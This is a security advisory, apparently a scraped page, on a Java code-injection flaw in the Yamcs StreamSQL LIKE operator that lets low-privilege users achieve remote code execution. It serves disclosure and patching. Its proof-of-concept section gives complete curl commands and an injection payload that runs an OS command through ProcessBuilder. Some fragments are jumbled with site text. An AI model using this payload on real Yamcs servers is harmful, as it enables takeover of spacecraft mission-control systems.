| Package | Affected versions | Patched versions |
|---|---|---|
| org.yamcs:yamcs-core | ≥ 5.13.0, < 5.13.2< 5.12.8 | 5.13.25.12.8 |
Yamcs compiles StreamSQL query expressions to Java at runtime with Janino. The LIKE operator inserts the user-supplied pattern into the generated Java unescaped, inside a "..." literal, so a pattern containing " breaks out and injects arbitrary Java (e.g. a static{} block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.
The pattern is embedded raw whether it comes from a SQL string literal or a bound ? argument, so the sink is reachable from any endpoint that builds a LIKE from user input, at routine read-only privileges, not just executeSql:
POST /api/archive/{instance}:executeSql and :streamSql (privilege ControlArchiving)POST /api/archive/{instance}/tables/{table}:readRows via the query field (privilege ReadTables)GET /api/archive/{instance}/events?q= and the event export/stream variants (privilege ReadEvents)listActivities q (privilege ReadActivities)The Events page search box feeds q directly.
Independent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of ChangeMissionDatabase and is not affected by the overrideAlgorithmsEnabled gate.
Expression#getCompiledExpression compiles generated source with SimpleCompiler.cook(...) (Expression.java:205) and instantiates it (Expression.java:213) at stream prep, before any tuple flows.LikeExpression#fillCode_getValueReturn (LikeExpression.java:26) appends likeClause.pattern raw into Utils.like(<col>, "<pattern>"). The safe sibling ValueExpression escapes literals via escapeJavaString() (ValueExpression.java:82-85); a review of all 35 streamsql code-generators found LikeExpression to be the only unescaped one.S_STRING = "'" (~["'"])* "'" (StreamSql.jj:222) allows "; () does not escape or .Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freegetNonEscapedStringStreamSql.jj:36"\TableApi#executeSql (TableApi.java:399) checks only ControlArchiving, then passes the raw statement to ydb.createStatement(...). No SecurityManager or Janino sandbox is configured, so the compiled code can call Runtime/ProcessBuilder. :streamSql (TableApi.java:447) is equally affected.executeSql. A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound ? argument (nextArgAsString -> likeClause.pattern), so any endpoint building ... LIKE ? with attacker input also reaches it:
POST .../tables/{table}:readRows (TableApi.java:276, privilege ReadTables): the query and cols request fields are concatenated raw into the executed StreamSQL (sqlb.where(request.getQuery())). Verified RCE.GET .../events?q= (listEvents, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege ReadEvents: body.message like ? with "%"+q+"%". Verified RCE.listActivities (ActivitiesApi.java:86/113), privilege ReadActivities: detail like ? with "%"+q+"%".
ReadTables/ReadEvents/ReadActivities are routine read-only permissions. The single escapeJavaString fix below closes all of these (one sink). The raw readRows WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate cols, do not accept a free-form query at ReadTables).Against a Yamcs server with security enabled (default HTTP port 8090), as a user holding only ControlArchiving.
BASE=http://<host>:8090
INSTANCE=<instance>
# 1. Get a token for a ControlArchiving user.
TOK=$(curl -s -X POST "$BASE/auth/token" \
-d 'grant_type=password&username=USER&password=PASS' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])')
# 2. Create a table with a string column.
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d '{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}'
# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a
# static{} initializer that runs an OS command, then reopens a dummy method so the
# generated class still compiles.
PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1'
SQL="create stream pwn as select * from demo where y like '$PATTERN'"
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")"
# 4. Proof: the command ran as the Yamcs OS user (on the server host).
cat /tmp/pwned # -> uid=...(...)
A benign like 'abc%' does nothing; exploitation depends on the " break-out.
Arbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via executeSql (ControlArchiving), readRows (ReadTables), the events list/export/stream endpoints (ReadEvents), and the activities listing (ReadActivities).
Exploitation via executeSql generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).
Escape the pattern like other literals, in LikeExpression.fillCode_getValueReturn:
code.append(", \"");
ValueExpression.escapeJavaString(likeClause.pattern, code); // was: code.append(likeClause.pattern);
code.append("\")");
Defence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every cook() path; compile generated classes under a classloader that cannot reach Runtime/ProcessBuilder.